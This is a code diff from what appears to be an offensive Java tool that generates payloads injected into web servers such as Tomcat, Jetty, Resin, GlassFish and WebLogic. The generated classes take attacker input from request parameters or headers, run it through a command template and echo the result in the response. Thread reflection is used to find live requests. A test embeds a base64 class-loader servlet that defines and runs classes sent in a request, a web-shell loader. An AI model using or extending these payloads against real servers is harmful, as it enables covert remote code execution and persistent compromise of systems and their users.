import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.ArrayList;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import static java.nio.charset.StandardCharsets.UTF_8;
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
@@ -32,10 +36,16 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
* @since 2025/6/29
|
||||
*/
|
||||
public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyConfig> {
|
||||
private static final Map<String, Class<?>> WRITER_CLASSES = createWriterClasses();
|
||||
|
||||
public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeContentConfig) {
|
||||
super(probeConfig, probeContentConfig);
|
||||
}
|
||||
|
||||
public static List<String> getSupportedServers() {
|
||||
return new ArrayList<>(WRITER_CLASSES.keySet());
|
||||
}
|
||||
|
||||
@Override
|
||||
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
|
||||
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
|
||||
@@ -52,9 +62,9 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
.name(probeConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
|
||||
.visit(Advice.withCustomMapping()
|
||||
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
|
||||
.to(runnerClass)
|
||||
.on(named("run")));
|
||||
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
|
||||
.to(runnerClass)
|
||||
.on(named("run")));
|
||||
String base64Bytes = probeContentConfig.getBase64Bytes();
|
||||
if (StringUtils.isNotBlank(base64Bytes)) {
|
||||
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
|
||||
@@ -82,35 +92,32 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
}
|
||||
|
||||
private Class<?> getWriterClass() {
|
||||
switch (probeContentConfig.getServer()) {
|
||||
case Server.SpringWebMvc:
|
||||
return SpringWebMvcWriter.class;
|
||||
case Server.Jetty:
|
||||
return JettyWriter.class;
|
||||
case Server.Tomcat:
|
||||
case Server.JBoss:
|
||||
case Server.BES:
|
||||
return TomcatWriter.class;
|
||||
case Server.TongWeb:
|
||||
return TongWebWriter.class;
|
||||
case Server.Resin:
|
||||
return ResinWriter.class;
|
||||
case Server.Undertow:
|
||||
return UndertowWriter.class;
|
||||
case Server.GlassFish:
|
||||
case Server.InforSuite:
|
||||
return GlassFishWriter.class;
|
||||
case Server.WebSphere:
|
||||
return WebSphereWriter.class;
|
||||
case Server.WebLogic:
|
||||
return WebLogicWriter.class;
|
||||
case Server.Apusic:
|
||||
return ApusicWriter.class;
|
||||
case Server.Struts2:
|
||||
return Struts2Writer.class;
|
||||
default:
|
||||
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
|
||||
Class<?> writerClass = WRITER_CLASSES.get(probeContentConfig.getServer());
|
||||
if (writerClass == null) {
|
||||
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
|
||||
}
|
||||
return writerClass;
|
||||
}
|
||||
|
||||
private static Map<String, Class<?>> createWriterClasses() {
|
||||
Map<String, Class<?>> writerClasses = new LinkedHashMap<>();
|
||||
writerClasses.put(Server.Tomcat, TomcatWriter.class);
|
||||
writerClasses.put(Server.Jetty, JettyWriter.class);
|
||||
writerClasses.put(Server.Jetty5, JettyWriter.class);
|
||||
writerClasses.put(Server.Undertow, UndertowWriter.class);
|
||||
writerClasses.put(Server.JBoss, TomcatWriter.class);
|
||||
writerClasses.put(Server.Resin, ResinWriter.class);
|
||||
writerClasses.put(Server.Resin2, Resin2Writer.class);
|
||||
writerClasses.put(Server.WebLogic, WebLogicWriter.class);
|
||||
writerClasses.put(Server.WebSphere, WebSphereWriter.class);
|
||||
writerClasses.put(Server.GlassFish, GlassFishWriter.class);
|
||||
writerClasses.put(Server.TongWeb, TongWebWriter.class);
|
||||
writerClasses.put(Server.BES, TomcatWriter.class);
|
||||
writerClasses.put(Server.InforSuite, GlassFishWriter.class);
|
||||
writerClasses.put(Server.Apusic, ApusicWriter.class);
|
||||
writerClasses.put(Server.SpringWebMvc, SpringWebMvcWriter.class);
|
||||
writerClasses.put(Server.Struts2, Struts2Writer.class);
|
||||
return writerClasses;
|
||||
}
|
||||
|
||||
static class getDataFromReqInterceptor {
|
||||
@@ -118,15 +125,24 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||
@ValueAnnotation String name,
|
||||
@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||
String p = null;
|
||||
try {
|
||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
ret = p;
|
||||
} catch (Exception e) {
|
||||
ret = null;
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
try {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
try {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
ret = p;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -135,22 +151,33 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||
@ValueAnnotation String name,
|
||||
@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||
String p = null;
|
||||
try {
|
||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
ret = p;
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception e) {
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
try {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
try {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
|
||||
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
|
||||
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
||||
if (p == null || p.isEmpty()) {
|
||||
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
||||
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
ret = p;
|
||||
p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
||||
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
ret = p;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -158,7 +185,3 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
public @interface ValueAnnotation {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -27,6 +27,10 @@ public class ServerProbe {
|
||||
classNames.add(traceElement.getClassName());
|
||||
}
|
||||
}
|
||||
if (classNames.contains("org.mortbay.http.HttpConnection")
|
||||
|| classNames.contains("org.mortbay.http.HttpServer")) {
|
||||
return ret = "Jetty5";
|
||||
}
|
||||
if (System.getProperty("jetty.home") != null
|
||||
|| classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) {
|
||||
return ret = "Jetty";
|
||||
@@ -40,7 +44,7 @@ public class ServerProbe {
|
||||
if (System.getProperty("com.apusic.home") != null) {
|
||||
return ret = "Apusic";
|
||||
}
|
||||
if (System.getProperty("bes.home") != null
|
||||
if ((System.getProperty("bes.home") != null || System.getProperty("bes.base") != null)
|
||||
&& classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) {
|
||||
return ret = "BES";
|
||||
}
|
||||
@@ -54,13 +58,22 @@ public class ServerProbe {
|
||||
|| System.getProperty("wlp.install.dir") != null) {
|
||||
return ret = "WebSphere";
|
||||
}
|
||||
if (System.getProperty("resin.home") != null) {
|
||||
if (System.getProperty("resin.home") != null
|
||||
&& classNames.contains("com.caucho.server.dispatch.ServletInvocation")) {
|
||||
return ret = "Resin";
|
||||
}
|
||||
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
|
||||
if (System.getProperty("resin.home") != null
|
||||
&& (classNames.contains("com.caucho.server.http.HttpRequest")
|
||||
|| classNames.contains("com.caucho.server.http.ServletServer"))) {
|
||||
return ret = "Resin2";
|
||||
}
|
||||
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")
|
||||
|| classNames.contains("org.springframework.boot.reactor.netty.NettyWebServer$1")) {
|
||||
return ret = "SpringWebFlux";
|
||||
}
|
||||
if (System.getProperty("AS_INSTALL") != null) {
|
||||
if (System.getProperty("AS_INSTALL") != null
|
||||
|| System.getProperty("com.sun.aas.installRoot") != null
|
||||
|| System.getProperty("glassfish.version") != null) {
|
||||
return ret = "GlassFish";
|
||||
}
|
||||
if (System.getProperty("jboss.home.dir") != null
|
||||
|
||||
+43
-1
@@ -156,7 +156,15 @@ public class GlassFishFilterProbe {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Object container = getContainerFromProcessor(target);
|
||||
if (container == null) {
|
||||
continue;
|
||||
}
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
@@ -166,6 +174,40 @@ public class GlassFishFilterProbe {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
try {
|
||||
return getFieldValue(thread, "target");
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK 21+
|
||||
return getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
|
||||
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||
*/
|
||||
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||
try {
|
||||
return getFieldValue(target, "this$0");
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
try {
|
||||
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||
Object base = getFieldValue(atomic, "base");
|
||||
if (base instanceof java.lang.ref.Reference) {
|
||||
return ((java.lang.ref.Reference<?>) base).get();
|
||||
}
|
||||
return base;
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
Object base = getFieldValue(target, "base");
|
||||
if (base instanceof java.lang.ref.Reference) {
|
||||
return ((java.lang.ref.Reference<?>) base).get();
|
||||
}
|
||||
return base;
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
||||
return invokeMethod(obj, methodName, null, null);
|
||||
}
|
||||
|
||||
+14
-1
@@ -32,7 +32,7 @@ public class GlassFishWriter {
|
||||
// GlassFish4+
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
Object blocker = getFieldValue(thread, "blocker");
|
||||
Object blocker = getThreadBlocker(thread);
|
||||
if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
|
||||
continue;
|
||||
}
|
||||
@@ -62,6 +62,19 @@ public class GlassFishWriter {
|
||||
}
|
||||
}
|
||||
|
||||
private Object getThreadBlocker(Thread thread) {
|
||||
try {
|
||||
return getFieldValue(thread, "blocker");
|
||||
} catch (Throwable ignored) {
|
||||
try {
|
||||
// JDK 21+
|
||||
return getFieldValue(thread, "nioBlocker");
|
||||
} catch (Throwable ignored2) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private boolean tryWriteRes(Object request) throws Exception {
|
||||
Object response = invokeMethod(request, "getResponse", null, null);
|
||||
String data = getDataFromReq(request);
|
||||
|
||||
+172
@@ -0,0 +1,172 @@
|
||||
package com.reajason.javaweb.probe.payload.response;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Set;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Resin2Writer {
|
||||
|
||||
private static boolean ok = false;
|
||||
|
||||
public Resin2Writer() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Object request = getCurrentRequest();
|
||||
if (request == null) {
|
||||
return;
|
||||
}
|
||||
Object response = invokeMethod(request, "getResponse", null, null);
|
||||
String data = getDataFromReq(request);
|
||||
if (data != null && !data.isEmpty()) {
|
||||
String result = "";
|
||||
try {
|
||||
result = run(data);
|
||||
} catch (Throwable e) {
|
||||
result = getErrorMessage(e);
|
||||
}
|
||||
if (result != null) {
|
||||
try {
|
||||
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||
outputStream.write(result.getBytes());
|
||||
outputStream.flush();
|
||||
outputStream.close();
|
||||
} catch (Throwable e) {
|
||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||
writer.write(result);
|
||||
writer.flush();
|
||||
writer.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
ok = true;
|
||||
}
|
||||
}
|
||||
|
||||
private Object getCurrentRequest() {
|
||||
Thread currentThread = Thread.currentThread();
|
||||
Object request = getRequestFromThread(currentThread, currentThread);
|
||||
if (request != null) {
|
||||
return request;
|
||||
}
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
request = getRequestFromThread(thread, currentThread);
|
||||
if (request != null) {
|
||||
return request;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private Object getRequestFromThread(Thread thread, Thread currentThread) {
|
||||
Object target = null;
|
||||
try {
|
||||
target = getFieldValue(thread, "target");
|
||||
} catch (Throwable e) {
|
||||
try {
|
||||
target = getFieldValue(getFieldValue(thread, "holder"), "task");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return getRequestFromTarget(target, currentThread);
|
||||
}
|
||||
|
||||
private Object getRequestFromTarget(Object target, Thread currentThread) {
|
||||
if (target == null) {
|
||||
return null;
|
||||
}
|
||||
Object request = null;
|
||||
if ("com.caucho.server.http.HttpRequest".equals(target.getClass().getName())) {
|
||||
request = target;
|
||||
} else {
|
||||
try {
|
||||
request = getFieldValue(target, "request");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
if (request == null || !"com.caucho.server.http.HttpRequest".equals(request.getClass().getName())) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
Object requestThread = getFieldValue(request, "_thread");
|
||||
if (requestThread != null && requestThread != currentThread) {
|
||||
return null;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return request;
|
||||
}
|
||||
|
||||
private String getDataFromReq(Object request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private String run(String data) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -114,6 +114,8 @@ public class CommonUtil {
|
||||
|
||||
public static String getWebPackageNameForServer(String server) {
|
||||
switch (server) {
|
||||
case Jetty5:
|
||||
return "org.mortbay.jetty.servlet.handlers";
|
||||
case Jetty:
|
||||
return "org.eclipse.jetty.servlet.handlers";
|
||||
case Undertow:
|
||||
@@ -128,6 +130,8 @@ public class CommonUtil {
|
||||
return "weblogic.servlet.internal.handlers";
|
||||
case Resin:
|
||||
return "com.caucho.server.dispatch.handlers";
|
||||
case Resin2:
|
||||
return "com.caucho.server.http.handlers";
|
||||
case BES:
|
||||
return "com.bes.enterprise.webtier.web.handlers";
|
||||
case Apusic:
|
||||
|
||||
+1
-1
@@ -95,7 +95,7 @@ class CustomShellGeneratorTest {
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testJakartaServlet(){
|
||||
void testJakartaServlet() {
|
||||
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL");
|
||||
String className = CommonUtil.generateClassName();
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
[versions]
|
||||
asm = "9.10" # https://mvnrepository.com/artifact/org.ow2.asm/asm
|
||||
asm = "9.10.1" # https://mvnrepository.com/artifact/org.ow2.asm/asm
|
||||
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
|
||||
bcel = "5.2"
|
||||
javax-servlet-api = "3.0.1"
|
||||
@@ -15,13 +15,13 @@ alibaba-dubbo = "2.6.12"
|
||||
apache-dubbo = "2.7.6"
|
||||
tomcat = "8.5.85"
|
||||
|
||||
byte-buddy = "1.18.8" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
||||
byte-buddy = "1.18.12" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
||||
commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
|
||||
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
|
||||
commons-codec = "1.22.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
|
||||
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
|
||||
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
|
||||
fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
|
||||
commons-codec = "1.22.1" # https://mvnrepository.com/artifact/commons-codec/commons-codec
|
||||
logback = "1.5.38" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
|
||||
okhttp3 = "5.5.0" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
|
||||
fastjson2 = "2.0.64" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
|
||||
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
|
||||
|
||||
mockito = "5.21.0"
|
||||
|
||||
@@ -8,4 +8,4 @@ services:
|
||||
environment:
|
||||
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jboss/server/web/deploy/app.war
|
||||
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/jboss/server/web/deploy/app.war
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
services:
|
||||
jetty5110:
|
||||
image: reajason/jetty:5.1.10-jdk6
|
||||
ports:
|
||||
- "8888:8080"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp-servlet2/build/libs/vul-webapp-servlet2.war:/usr/local/jetty/webapps/app.war
|
||||
@@ -8,4 +8,4 @@ services:
|
||||
environment:
|
||||
